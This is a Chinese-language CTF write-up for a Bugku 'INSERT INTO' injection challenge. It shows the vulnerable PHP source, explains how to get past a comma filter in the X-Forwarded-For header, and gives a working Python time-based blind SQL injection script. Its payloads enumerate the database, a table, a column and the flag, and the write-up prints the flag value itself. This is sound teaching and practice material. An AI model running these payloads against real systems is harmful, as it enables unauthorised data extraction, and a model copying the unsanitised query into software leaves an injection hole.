这道题有一个坑卡了我贼久,单独拿出来记录一下。

原题

https://ctf.bugku.com/challenges#INSERT%20INTO%E6%B3%A8%E5%85%A5

源码分析

源码题目给出了:

<?php
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];     //XFF优先
}else{
$ip = $_SERVER['REMOTE_ADDR'];      //否则REMOTE_ADDR
}
$ip_arr = explode(',', $ip);        //过滤','
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";       //insert into注入点
mysql_query($sql);
?>

观察源码可以看出,获取XFF中的IP,然后根据逗号切分,返回第一部分。这就意味着我们没办法使用逗号。

所以这里只能用基于时间的注入,注入点是XFF头。

在过滤了逗号的情况下,我们就不能使用if语句了,在mysql中与if有相同功效的就是:

select case when (条件) then 代码1 else 代码 2 end;

而且由于逗号,被过滤,我们就不能使用substr、substring了,但我们可以使用:from 1 for 1。

那么就开始注入吧。

注入

爆库:

#!/usr/bin/env python
import requests,time,string

characters = string.ascii_letters + string.digits + string.punctuation
max_length = 50
target = 'http://120.24.86.145:8002/web15/'
database = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1"
def get_database():
    flag = ''
    for i in range(1, max_length):
        next_position = False
        for char in characters:

            payload = "'+(select case when (substring((select database() ) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char)
            headers = {
                'X-Forwarded-For': payload
            }
            try:
                r = requests.get(target,headers=headers,timeout=4)
            except requests.exceptions.ReadTimeout:
                flag += char
                print(flag)
                next_position = True
                break
        if not next_position:
            return flag
get_database()
说明一下为什么Payload里面最右边多了一个括号:这个是为了闭合源码中 INSERT INTO 里面的括号。

爆表:

payload = "'+(select case when (substring((select table_name from information_schema.tables where table_schema=database() limit 1 offset 1) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char)

注意这里需要加上 limit 限制选择的表的数量。不然的话……(明白我的意思吧)

爆字段:

payload = "'+(select case when (substring((select column_name from information_schema.columns where table_name='flag' limit 1) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char)

得flag

payload = "'+(select case when (substring((select flag from flag) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char)

得到flag:cdbf14c9551d5be5612f7bb5d2867853
(不愿意等就拿走吧 : D)

最后修改:2019 年 06 月 10 日
如果觉得我的文章对你有用,请随意赞赏